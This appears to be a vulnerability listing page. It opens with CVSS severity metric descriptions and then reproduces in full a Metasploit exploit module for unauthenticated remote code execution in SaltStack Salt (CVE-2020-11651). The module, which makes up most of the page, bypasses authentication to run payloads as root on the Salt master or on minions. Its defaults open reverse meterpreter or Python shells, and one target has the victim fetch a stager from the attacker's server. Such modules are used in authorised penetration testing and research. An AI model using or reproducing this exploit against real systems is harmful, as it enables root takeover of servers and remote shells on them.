The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: SaltStack Salt Master/Minion Unauthenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::ZeroMQ
include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',
'Description' => %q{
This module exploits unauthenticated access to the runner() and
_send_pub() methods in the SaltStack Salt master's ZeroMQ request
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
execute code as root on either the master or on select minions.
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0 are
known to be affected by the Salt vulnerabilities.
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
well as Vulhub's Docker image.
},
'Author' => [
'F-Secure', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-11651'], # Auth bypass (used by this module)
['CVE', '2020-11652'], # Authed directory traversals (not used here)
['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
],
'DisclosureDate' => '2020-04-30', # F-Secure advisory
'License' => MSF_LICENSE,
'Platform' => ['python', 'unix'],
'Arch' => [ARCH_PYTHON, ARCH_CMD],
'Privileged' => true,
'Targets' => [
[
'Master (Python payload)',
'Description' => 'Executing Python payload on the master',
'Type' => :python,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_https'
}
],
[
'Master (Unix command)',
'Description' => 'Executing Unix command on the master',
'Type' => :unix_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
],
[
'Minions (Python payload)',
'Description' => 'Executing Python payload on the minions',
'Type' => :python,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_https'
}
],
[
'Minions (Unix command)',
'Description' => 'Executing Unix command on the minions',
'Type' => :unix_command,
'DefaultOptions' => {
# cmd/unix/reverse_python_ssl crashes in this target
'PAYLOAD' => 'cmd/unix/reverse_python'
}
]
],
'DefaultTarget' => 0, # Defaults to master for safety
'DefaultOptions' => {
'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(4506),
OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', /.*/])
])
register_advanced_options([
OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])
])
# XXX: https://github.com/rapid7/metasploit-framework/issues/12963
import_target_defaults
end
# NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key
def exploit
# check.reason is from auxiliary/gather/saltstack_salt_root_key
if target.name.start_with?('Master')
unless (root_key = check.reason)
fail_with(Failure::BadConfig,
"#{target['Description']} requires a root key")
end
print_good("Successfully obtained root key: #{root_key}")
end
# These are from Msf::Exploit::Remote::ZeroMQ
zmq_connect
zmq_negotiate
print_status("#{target['Description']}: #{datastore['PAYLOAD']}")
case target.name
when /^Master/
yeet_runner(root_key)
when /^Minions/
yeet_send_pub
end
# HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one
sleep(wfs_delay)
rescue EOFError, Rex::ConnectionError => e
print_error("#{e.class}: #{e.message}")
ensure
# This is from Msf::Exploit::Remote::ZeroMQ
zmq_disconnect
end
def yeet_runner(root_key)
print_status("Yeeting runner() at #{peer}")
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951
runner = {
'cmd' => 'runner',
# https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd
'fun' => 'salt.cmd',
'kwarg' => {
'hide_output' => true,
'ignore_retcode' => true,
'output_loglevel' => 'quiet'
},
'user' => 'root', # This is NOT the Unix user!
'key' => root_key # No JID needed, only the root key!
}
case target['Type']
when :python
vprint_status("Executing Python code: #{payload.encoded}")
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
runner['kwarg'].merge!(
'fun' => 'cmd.exec_code',
'lang' => payload.arch.first,
'code' => payload.encoded
)
when :unix_command
# HTTPS doesn't appear to be supported by the server :(
print_status("Serving intermediate stager over HTTP: #{start_service}")
vprint_status("Executing Unix command: #{payload.encoded}")
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script
runner['kwarg'].merge!(
# cmd.run doesn't work due to a missing argument error, so we use this
'fun' => 'cmd.script',
'source' => get_uri,
'stdin' => payload.encoded
)
end
vprint_status("Unserialized clear load: #{runner}")
zmq_send_message(serialize_clear_load(runner))
unless (res = sock.get_once)
fail_with(Failure::Unknown, 'Did not receive runner() response')
end
vprint_good("Received runner() response: #{res.inspect}")
end
def yeet_send_pub
print_status("Yeeting _send_pub() at #{peer}")
# NOTE: A unique JID (job ID) is needed for every published job
jid = generate_jid
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151
send_pub = {
'cmd' => '_send_pub',
'kwargs' => {
'bg' => true,
'hide_output' => true,
'ignore_retcode' => true,
'output_loglevel' => 'quiet',
'show_jid' => false,
'show_timeout' => false
},
'user' => 'root', # This is NOT the Unix user!
'tgt' => datastore['MINIONS'].source,
'tgt_type' => 'pcre',
'jid' => jid
}
case target['Type']
when :python
vprint_status("Executing Python code: #{payload.encoded}")
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
send_pub.merge!(
'fun' => 'cmd.exec_code',
'arg' => [payload.arch.first, payload.encoded]
)
when :unix_command
vprint_status("Executing Unix command: #{payload.encoded}")
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run
send_pub.merge!(
'fun' => 'cmd.run',
'arg' => [payload.encoded]
)
end
vprint_status("Unserialized clear load: #{send_pub}")
zmq_send_message(serialize_clear_load(send_pub))
unless (res = sock.get_once)
fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
end
vprint_good("Received _send_pub() response: #{res.inspect}")
# NOTE: This path will likely change between platforms and distros
register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")
end
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py
# https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py
def generate_jid
DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')
end
# HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP
def stager_instance
nil
end
# HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP
def exe
# NOTE: The shebang line is necessary in this case!
<<~SHELL
#!/bin/sh
/bin/sh
SHELL
end
end